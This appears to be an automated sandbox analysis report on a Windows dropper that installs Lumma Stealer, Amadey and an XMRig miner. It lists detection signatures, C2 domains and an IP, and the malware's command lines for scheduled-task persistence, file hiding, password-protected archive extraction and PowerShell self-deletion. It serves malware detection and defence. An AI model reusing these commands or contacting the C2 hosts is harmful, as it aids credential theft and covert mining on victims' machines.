Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1579329
MD5:	b54cf9188652a3bfe166d33c542f8ac6
SHA1:	4335fa4d75ab3ba85613d163f8f930d9adf087ce
SHA256:	0f1d1aed639362ce37edde5b4c278555bec835b1a5d3d5b90a7b8bbce0d83b86
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC, Amadey, LummaC Stealer, Xmrig

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys Clipper DLL

Yara detected Amadeys stealer DLL

Yara detected LummaC Stealer

Yara detected Xmrig cryptocurrency miner

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Contains functionality to start a terminal service

Creates files in the system32 config directory

Drops password protected ZIP file

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Found strings related to Crypto-Mining

Hides threads from debuggers

Injects code into the Windows Explorer (explorer.exe)

Leaks process information

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies the context of a thread in another process (thread injection)

PE file contains section with special chars

Potentially malicious time measurement code found

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Suspicious powershell command line found

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Uses cmd line tools excessively to alter registry or file data

Uses ping.exe to check the status of other devices and networks

Uses schtasks.exe or at.exe to add and modify task schedules

Uses the Telegram API (likely for C&C communication)

AV process strings found (often used to terminate AV products)

Binary contains a suspicious time stamp

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates COM task schedule object (often to register a task for autostart)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Deletes files inside the Windows folder

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Enables security privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious Schtasks From Env Var Folder

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

file.exe (PID: 2492 cmdline: "C:\Users\user\Desktop\file.exe" MD5: B54CF9188652A3BFE166D33C542F8AC6)

skotes.exe (PID: 7196 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: B54CF9188652A3BFE166D33C542F8AC6)

skotes.exe (PID: 7212 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: B54CF9188652A3BFE166D33C542F8AC6)

skotes.exe (PID: 7900 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: B54CF9188652A3BFE166D33C542F8AC6)

0516ff61af.exe (PID: 8100 cmdline: "C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe" MD5: 15709EBA2AFAF7CC0A86CE0ABF8E53F1)

abcebc1047.exe (PID: 5436 cmdline: "C:\Users\user\AppData\Local\Temp\1019523001\abcebc1047.exe" MD5: 51FF79B406CB223DD49DD4C947EC97B0)

Gxtuum.exe (PID: 7428 cmdline: "C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe" MD5: 51FF79B406CB223DD49DD4C947EC97B0)

6eea3e30e9.exe (PID: 7232 cmdline: "C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe" MD5: 3567CB15156760B2F111512FFDBC1451)

graph.exe (PID: 7372 cmdline: "C:\Program Files\Windows Media Player\graph\graph.exe" MD5: 7D254439AF7B1CAAA765420BEA7FBD3F)

8aec52a3fa.exe (PID: 5968 cmdline: "C:\Users\user\AppData\Local\Temp\1019525001\8aec52a3fa.exe" MD5: 3A425626CBD40345F5B8DDDD6B2B9EFA)

cmd.exe (PID: 3120 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1136 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

mode.com (PID: 1144 cmdline: mode 65,10 MD5: BEA7464830980BF7C0490307DB4FC875)

7z.exe (PID: 7688 cmdline: 7z.exe e file.zip -p24291711423417250691697322505 -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 6204 cmdline: 7z.exe e extracted/file_7.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 6228 cmdline: 7z.exe e extracted/file_6.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 6372 cmdline: 7z.exe e extracted/file_5.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 6544 cmdline: 7z.exe e extracted/file_4.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 6592 cmdline: 7z.exe e extracted/file_3.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 7708 cmdline: 7z.exe e extracted/file_2.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 6788 cmdline: 7z.exe e extracted/file_1.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

attrib.exe (PID: 7548 cmdline: attrib +H "in.exe" MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

in.exe (PID: 4336 cmdline: "in.exe" MD5: 83D75087C9BF6E4F07C36E550731CCDE)

attrib.exe (PID: 7724 cmdline: attrib +H +S C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

conhost.exe (PID: 6072 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

attrib.exe (PID: 4428 cmdline: attrib +H C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

conhost.exe (PID: 3868 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 4408 cmdline: schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE MD5: 76CD6626DD8834BD4A42E6A565104DC2)

conhost.exe (PID: 7772 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 2992 cmdline: powershell ping 127.0.0.1; del in.exe MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 6092 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

PING.EXE (PID: 2844 cmdline: "C:\Windows\system32\PING.EXE" 127.0.0.1 MD5: 2F46799D79D22AC72C241EC0322B011D)

1b73492cb0.exe (PID: 5660 cmdline: "C:\Users\user\AppData\Local\Temp\1019526001\1b73492cb0.exe" MD5: 75C18C2AD58682381AA0C415E99861A0)

ed15fdf974.exe (PID: 4564 cmdline: "C:\Users\user\AppData\Local\Temp\1019527001\ed15fdf974.exe" MD5: 669ED3665495A4A52029FF680EC8EBA9)

Gxtuum.exe (PID: 1596 cmdline: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe MD5: 51FF79B406CB223DD49DD4C947EC97B0)

6eea3e30e9.exe (PID: 7252 cmdline: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe MD5: 3567CB15156760B2F111512FFDBC1451)

graph.exe (PID: 2232 cmdline: "C:\Program Files\Windows Media Player\graph\graph.exe" MD5: 7D254439AF7B1CAAA765420BEA7FBD3F)

graph.exe (PID: 3964 cmdline: "C:\Program Files\Windows Media Player\graph\graph.exe" MD5: 7D254439AF7B1CAAA765420BEA7FBD3F)

Intel_PTT_EK_Recertification.exe (PID: 1808 cmdline: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe MD5: 83D75087C9BF6E4F07C36E550731CCDE)

explorer.exe (PID: 1800 cmdline: explorer.exe MD5: 662F4F92FDE3557E86D110526BB578D5)

powershell.exe (PID: 5212 cmdline: powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 5168 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

PING.EXE (PID: 7756 cmdline: "C:\Windows\system32\PING.EXE" 127.1.10.1 MD5: 2F46799D79D22AC72C241EC0322B011D)

graph.exe (PID: 5812 cmdline: "C:\Program Files\Windows Media Player\graph\graph.exe" MD5: 7D254439AF7B1CAAA765420BEA7FBD3F)

Intel_PTT_EK_Recertification.exe (PID: 5324 cmdline: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe MD5: 83D75087C9BF6E4F07C36E550731CCDE)

Gxtuum.exe (PID: 2056 cmdline: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe MD5: 51FF79B406CB223DD49DD4C947EC97B0)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
xmrig	According to PCrisk, XMRIG is a completely legitimate open-source application that utilizes system CPUs to mine Monero cryptocurrency. Unfortunately, criminals generate revenue by infiltrating this app into systems without users' consent. This deceptive marketing method is called "bundling".In most cases, "bundling" is used to infiltrate several potentially unwanted programs (PUAs) at once. So, there is a high probability that XMRIG Virus came with a number of adware-type applications that deliver intrusive ads and gather sensitive information.	No Attribution	https://gridinsoft.com/xmrig https://www.akamai.com/blog/security-research/2024-php-exploit-cve-one-day-after-disclosure https://www.crowdstrike.com/blog/new-kiss-a-dog-cryptojacking-campaign-targets-docker-and-kubernetes/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xmrig

Malware Configuration

Threatname: LummaC

{"C2 url": ["discokeyus.lat", "crosshuaht.lat", "sustainskelet.lat", "necklacebudi.lat", "energyaffai.lat", "rapeflowwj.lat", "grannyejh.lat", "aspecteirs.lat", "treehoneyi.click"], "Build id": "rAGxSF--load"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\output[1].png	INDICATOR_SUSPICIOUS_IMG_Embedded_Archive	Detects images embedding archives. Observed in TheRat RAT.	ditekSHen	0x82f3:$zipwopass: 50 4B 03 04 14 00 00 00
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\output[1].png	INDICATOR_SUSPICIOUS_IMG_Embedded_Archive	Detects images embedding archives. Observed in TheRat RAT.	ditekSHen	0x82f3:$zipwopass: 50 4B 03 04 14 00 00 00
C:\Program Files\Windows Media Player\1w4lv5IzuEVOMa3sjCc6orj2dWPvJoK5f	INDICATOR_SUSPICIOUS_IMG_Embedded_Archive	Detects images embedding archives. Observed in TheRat RAT.	ditekSHen	0x82f3:$zipwopass: 50 4B 03 04 14 00 00 00
C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
C:\Users\user\AppData\Local\Temp\1019523001\abcebc1047.exe	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
Click to see the 1 entries

Memory Dumps

Source	Rule	Description	Author	Strings
00000006.00000002.2985109960.0000000000361000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000002.00000002.1805553534.0000000000361000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000028.00000002.2781226927.000000014040B000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000000.00000002.1760104861.0000000000DA1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000028.00000002.2780527209.0000000000B39000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000028.00000002.2780527209.0000000000B5A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000028.00000002.2781133472.00000001402DD000.00000002.00000001.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000001.00000002.1798514482.0000000000361000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000027.00000003.2774998618.0000017227910000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000027.00000003.2774998618.0000017227910000.00000004.00000001.00020000.00000000.sdmp	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x325ac8:$x1: donate.ssl.xmrig.com
00000027.00000003.2774998618.0000017227910000.00000004.00000001.00020000.00000000.sdmp	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x326778:$s1: %s/%s (Windows NT %lu.%lu 0x32a380:$s3: \\.\WinRing0_ 0x2e3f30:$s4: pool_wallet 0x2de778:$s5: cryptonight 0x2de788:$s5: cryptonight 0x2de798:$s5: cryptonight 0x2de7a8:$s5: cryptonight 0x2de7c0:$s5: cryptonight 0x2de7d0:$s5: cryptonight 0x2de7e0:$s5: cryptonight 0x2de7f8:$s5: cryptonight 0x2de808:$s5: cryptonight 0x2de820:$s5: cryptonight 0x2de838:$s5: cryptonight 0x2de848:$s5: cryptonight 0x2de858:$s5: cryptonight 0x2de868:$s5: cryptonight 0x2de880:$s5: cryptonight 0x2de898:$s5: cryptonight 0x2de8a8:$s5: cryptonight 0x2de8b8:$s5: cryptonight
00000030.00000003.2926529139.00000131C27B0000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000030.00000003.2926529139.00000131C27B0000.00000004.00000001.00020000.00000000.sdmp	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x325ac8:$x1: donate.ssl.xmrig.com
00000030.00000003.2926529139.00000131C27B0000.00000004.00000001.00020000.00000000.sdmp	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x326778:$s1: %s/%s (Windows NT %lu.%lu 0x32a380:$s3: \\.\WinRing0_ 0x2e3f30:$s4: pool_wallet 0x2de778:$s5: cryptonight 0x2de788:$s5: cryptonight 0x2de798:$s5: cryptonight 0x2de7a8:$s5: cryptonight 0x2de7c0:$s5: cryptonight 0x2de7d0:$s5: cryptonight 0x2de7e0:$s5: cryptonight 0x2de7f8:$s5: cryptonight 0x2de808:$s5: cryptonight 0x2de820:$s5: cryptonight 0x2de838:$s5: cryptonight 0x2de848:$s5: cryptonight 0x2de858:$s5: cryptonight 0x2de868:$s5: cryptonight 0x2de880:$s5: cryptonight 0x2de898:$s5: cryptonight 0x2de8a8:$s5: cryptonight 0x2de8b8:$s5: cryptonight
Process Memory Space: 0516ff61af.exe PID: 8100	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 0516ff61af.exe PID: 8100	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 0516ff61af.exe PID: 8100	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: Intel_PTT_EK_Recertification.exe PID: 1808	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: explorer.exe PID: 1800	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: ed15fdf974.exe PID: 4564	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Process Memory Space: Intel_PTT_EK_Recertification.exe PID: 5324	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 17 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
9.2.abcebc1047.exe.650000.0.unpack	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
9.0.abcebc1047.exe.650000.0.unpack	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
10.2.Gxtuum.exe.e30000.0.unpack	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
11.0.Gxtuum.exe.e30000.0.unpack	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
11.2.Gxtuum.exe.e30000.0.unpack	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
49.2.Gxtuum.exe.e30000.0.unpack	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
10.0.Gxtuum.exe.e30000.0.unpack	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
49.0.Gxtuum.exe.e30000.0.unpack	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
1.2.skotes.exe.360000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
2.2.skotes.exe.360000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
6.2.skotes.exe.360000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0.2.file.exe.da0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
48.3.Intel_PTT_EK_Recertification.exe.131c27b0000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
48.3.Intel_PTT_EK_Recertification.exe.131c27b0000.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x324cc8:$x1: donate.ssl.xmrig.com
48.3.Intel_PTT_EK_Recertification.exe.131c27b0000.0.unpack	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x325978:$s1: %s/%s (Windows NT %lu.%lu 0x329580:$s3: \\.\WinRing0_ 0x2e3130:$s4: pool_wallet 0x2dd978:$s5: cryptonight 0x2dd988:$s5: cryptonight 0x2dd998:$s5: cryptonight 0x2dd9a8:$s5: cryptonight 0x2dd9c0:$s5: cryptonight 0x2dd9d0:$s5: cryptonight 0x2dd9e0:$s5: cryptonight 0x2dd9f8:$s5: cryptonight 0x2dda08:$s5: cryptonight 0x2dda20:$s5: cryptonight 0x2dda38:$s5: cryptonight 0x2dda48:$s5: cryptonight 0x2dda58:$s5: cryptonight 0x2dda68:$s5: cryptonight 0x2dda80:$s5: cryptonight 0x2dda98:$s5: cryptonight 0x2ddaa8:$s5: cryptonight 0x2ddab8:$s5: cryptonight
40.2.explorer.exe.140000000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
40.2.explorer.exe.140000000.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x325ac8:$x1: donate.ssl.xmrig.com
40.2.explorer.exe.140000000.0.unpack	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x326778:$s1: %s/%s (Windows NT %lu.%lu 0x32a380:$s3: \\.\WinRing0_ 0x2e3f30:$s4: pool_wallet 0x2de778:$s5: cryptonight 0x2de788:$s5: cryptonight 0x2de798:$s5: cryptonight 0x2de7a8:$s5: cryptonight 0x2de7c0:$s5: cryptonight 0x2de7d0:$s5: cryptonight 0x2de7e0:$s5: cryptonight 0x2de7f8:$s5: cryptonight 0x2de808:$s5: cryptonight 0x2de820:$s5: cryptonight 0x2de838:$s5: cryptonight 0x2de848:$s5: cryptonight 0x2de858:$s5: cryptonight 0x2de868:$s5: cryptonight 0x2de880:$s5: cryptonight 0x2de898:$s5: cryptonight 0x2de8a8:$s5: cryptonight 0x2de8b8:$s5: cryptonight
39.3.Intel_PTT_EK_Recertification.exe.17227910000.0.raw.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
39.3.Intel_PTT_EK_Recertification.exe.17227910000.0.raw.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x325ac8:$x1: donate.ssl.xmrig.com
39.3.Intel_PTT_EK_Recertification.exe.17227910000.0.raw.unpack	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x326778:$s1: %s/%s (Windows NT %lu.%lu 0x32a380:$s3: \\.\WinRing0_ 0x2e3f30:$s4: pool_wallet 0x2de778:$s5: cryptonight 0x2de788:$s5: cryptonight 0x2de798:$s5: cryptonight 0x2de7a8:$s5: cryptonight 0x2de7c0:$s5: cryptonight 0x2de7d0:$s5: cryptonight 0x2de7e0:$s5: cryptonight 0x2de7f8:$s5: cryptonight 0x2de808:$s5: cryptonight 0x2de820:$s5: cryptonight 0x2de838:$s5: cryptonight 0x2de848:$s5: cryptonight 0x2de858:$s5: cryptonight 0x2de868:$s5: cryptonight 0x2de880:$s5: cryptonight 0x2de898:$s5: cryptonight 0x2de8a8:$s5: cryptonight 0x2de8b8:$s5: cryptonight
48.3.Intel_PTT_EK_Recertification.exe.131c27b0000.0.raw.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
48.3.Intel_PTT_EK_Recertification.exe.131c27b0000.0.raw.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x325ac8:$x1: donate.ssl.xmrig.com
48.3.Intel_PTT_EK_Recertification.exe.131c27b0000.0.raw.unpack	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x326778:$s1: %s/%s (Windows NT %lu.%lu 0x32a380:$s3: \\.\WinRing0_ 0x2e3f30:$s4: pool_wallet 0x2de778:$s5: cryptonight 0x2de788:$s5: cryptonight 0x2de798:$s5: cryptonight 0x2de7a8:$s5: cryptonight 0x2de7c0:$s5: cryptonight 0x2de7d0:$s5: cryptonight 0x2de7e0:$s5: cryptonight 0x2de7f8:$s5: cryptonight 0x2de808:$s5: cryptonight 0x2de820:$s5: cryptonight 0x2de838:$s5: cryptonight 0x2de848:$s5: cryptonight 0x2de858:$s5: cryptonight 0x2de868:$s5: cryptonight 0x2de880:$s5: cryptonight 0x2de898:$s5: cryptonight 0x2de8a8:$s5: cryptonight 0x2de8b8:$s5: cryptonight
39.3.Intel_PTT_EK_Recertification.exe.17227910000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
39.3.Intel_PTT_EK_Recertification.exe.17227910000.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x324cc8:$x1: donate.ssl.xmrig.com
39.3.Intel_PTT_EK_Recertification.exe.17227910000.0.unpack	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x325978:$s1: %s/%s (Windows NT %lu.%lu 0x329580:$s3: \\.\WinRing0_ 0x2e3130:$s4: pool_wallet 0x2dd978:$s5: cryptonight 0x2dd988:$s5: cryptonight 0x2dd998:$s5: cryptonight 0x2dd9a8:$s5: cryptonight 0x2dd9c0:$s5: cryptonight 0x2dd9d0:$s5: cryptonight 0x2dd9e0:$s5: cryptonight 0x2dd9f8:$s5: cryptonight 0x2dda08:$s5: cryptonight 0x2dda20:$s5: cryptonight 0x2dda38:$s5: cryptonight 0x2dda48:$s5: cryptonight 0x2dda58:$s5: cryptonight 0x2dda68:$s5: cryptonight 0x2dda80:$s5: cryptonight 0x2dda98:$s5: cryptonight 0x2ddaa8:$s5: cryptonight 0x2ddab8:$s5: cryptonight
Click to see the 22 entries

Sigma Signatures

System Summary

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Program Files\Windows Media Player\graph\graph.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe, ProcessId: 7232, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Graph

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE, CommandLine: schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE, CommandLine|base64offset|contains: mj,, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: "in.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\main\in.exe, ParentProcessId: 4336, ParentProcessName: in.exe, ProcessCommandLine: schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE, ProcessId: 4408, ProcessName: schtasks.exe

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

